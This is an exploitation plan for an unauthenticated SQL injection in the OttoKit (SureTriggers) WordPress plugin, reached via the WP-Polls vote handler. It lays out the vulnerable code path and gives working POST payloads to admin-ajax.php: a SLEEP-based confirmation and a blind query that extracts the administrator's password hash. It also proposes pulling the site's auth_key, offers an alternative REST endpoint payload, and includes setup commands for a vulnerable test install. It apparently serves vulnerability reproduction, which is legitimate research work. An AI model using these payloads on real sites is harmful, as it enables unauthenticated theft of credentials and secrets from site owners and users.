OttoKit: All-in-One Automation Platform < 1.1.23 - Unauthenticated SQL Injection

This research plan outlines the exploitation of a critical unauthenticated SQL injection vulnerability in the OttoKit (formerly SureTriggers) WordPress plugin.

1. Vulnerability Summary

The OttoKit plugin is vulnerable to SQL injection through its WP-Polls integration. The vulnerability exists in the SureTriggers\Integrations\WpPolls\WpPolls::get_poll_context() method. User-controlled input (the selected answer IDs from a poll) is directly interpolated into a SQL IN clause within a $wpdb->prepare() call without using placeholders or proper sanitization.

This allows unauthenticated attackers to break out of the intended query and execute arbitrary SQL commands to extract sensitive information (like user hashes or secret keys) from the WordPress database.

2. Attack Vector Analysis

• Vulnerable Endpoint: wp-admin/admin-ajax.php (via the WP-Polls vote handler).
• Vulnerable Action: polls (WP-Polls default AJAX action).
• Vulnerable Parameter: poll_{id}_ans (where {id} is the poll ID).
• Authentication Required: None (Unauthenticated).
• Preconditions:
  1. OttoKit plugin < 1.1.23 installed and active.
  2. WP-Polls plugin installed and active.
  3. At least one poll created and available for voting.

3. Code Flow

1. A user submits a vote via the WP-Polls AJAX endpoint (admin-ajax.php?action=polls).
2. WP-Polls processes the vote and triggers internal WordPress hooks (e.g., wp_polls_vote).
3. OttoKit, being an automation platform, listens for the WP-Polls voting event to trigger workflows.
4. OttoKit's handler catches the event and attempts to gather "context" for the trigger to send to its automation engine.
5. The handler calls SureTriggers\Integrations\WpPolls\WpPolls::get_poll_context( $selected_answers_ids, $poll_id ) located in src/Integrations/wp-polls/wp-polls.php.
6. Inside get_poll_context(), the $selected_answers_ids variable is used:

   // src/Integrations/wp-polls/wp-polls.php
   $poll_data = $wpdb->get_row(
       $wpdb->prepare(
           "
           ...
           LEFT JOIN (
               SELECT polla_qid, GROUP_CONCAT(polla_answers SEPARATOR ', ') AS selected_answers
               FROM {$wpdb->prefix}pollsa
               WHERE polla_aid IN ($selected_answers_ids)  <-- VULNERABILITY: Raw Interpolation
               GROUP BY polla_qid
           ) AS sa ON p.pollq_id = sa.polla_qid
           WHERE p.pollq_id = %d
           ...
           ",
           $poll_id
       )
   );
   

7. The SQL injection is executed within the subquery's IN clause.

4. Nonce Acquisition Strategy

WP-Polls voting typically does not require a WordPress nonce for unauthenticated users (guests). It uses a simple POST request to admin-ajax.php. OttoKit's listener triggers automatically on the server-side when the WP-Polls action occurs, meaning no OttoKit-specific nonce is required to reach the vulnerable code.

5. Exploitation Strategy

Step 1: Identify Poll ID and Answer ID

First, navigate to the homepage or the page containing the poll to find the poll_id and at least one valid answer ID.

Step 2: Time-Based SQL Injection

Perform a time-based blind SQL injection to confirm the vulnerability. We will use the poll_id=1 and poll_1_ans parameter.

• Request Method: POST
• URL: http://<target>/wp-admin/admin-ajax.php
• Content-Type: application/x-www-form-urlencoded
• Payload:

  action=polls
  view=process
  poll_id=1
  poll_1_ans=1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
  

• Injected SQL Context:
  WHERE polla_aid IN (1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -) GROUP BY ...

Step 3: Data Extraction (Boolean or Error-Based)

If the site displays OttoKit errors or if the response time is measurable, extract the admin password hash.

• Payload (Extract User Hash):

  poll_1_ans=1) AND (SELECT 1 FROM (SELECT IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36,SLEEP(5),0))a)-- -
  

  (Note: 36 is the ASCII for '$', which starts most WP hashes)

6. Test Data Setup

1. Install WP-Polls and OttoKit.
2. Create a test poll:

   # Install plugins
   wp plugin install wp-polls --activate
   wp plugin install suretriggers --version=1.1.22 --activate
   
   # Create a simple poll with one question and one answer
   wp eval '
   global $wpdb;
   $wpdb->insert($wpdb->prefix . "pollsq", ["pollq_question" => "Test Question", "pollq_timestamp" => time(), "pollq_totalvoters" => 0, "pollq_active" => 1, "pollq_expiry" => 0, "pollq_multiple" => 0, "pollq_totalvotes" => 0]);
   $qid = $wpdb->insert_id;
   $wpdb->insert($wpdb->prefix . "pollsa", ["polla_qid" => $qid, "polla_answers" => "Answer 1", "polla_votes" => 0]);
   echo "Created Poll ID: $qid\n";
   '
   

7. Expected Results

• Control Request: A normal vote request should return immediately (usually with a 0 or HTML partial from WP-Polls).
• Exploit Request: The request containing SLEEP(5) should take exactly 5 seconds (plus network overhead) to complete, as the database engine processes the subquery inside OttoKit's context fetching logic.

8. Verification Steps

1. Observe Server Logs: Check if OttoKit or DB logs show the malformed query.
2. Verify via WP-CLI: After confirming timing, verify if you can extract a known value (e.g., the site's auth_key).

   # Verify timing for the first char of auth_key
   # (Simplified example using sleep if char matches)
   

9. Alternative Approaches

If the wp_polls_vote hook does not trigger the OttoKit logic as expected, check for OttoKit REST routes that might facilitate metadata fetching:

• Endpoint: GET /wp-json/suretriggers/v1/integrations/wp-polls/poll-context?poll_id=1&selected_answers_ids=1) OR SLEEP(5)-- -
• Auth: Check if OttoKit's REST API controllers (like RestController) have routes with permission_callback set to __return_true for fetching integration details. These are often used by the OttoKit dashboard to display sample data.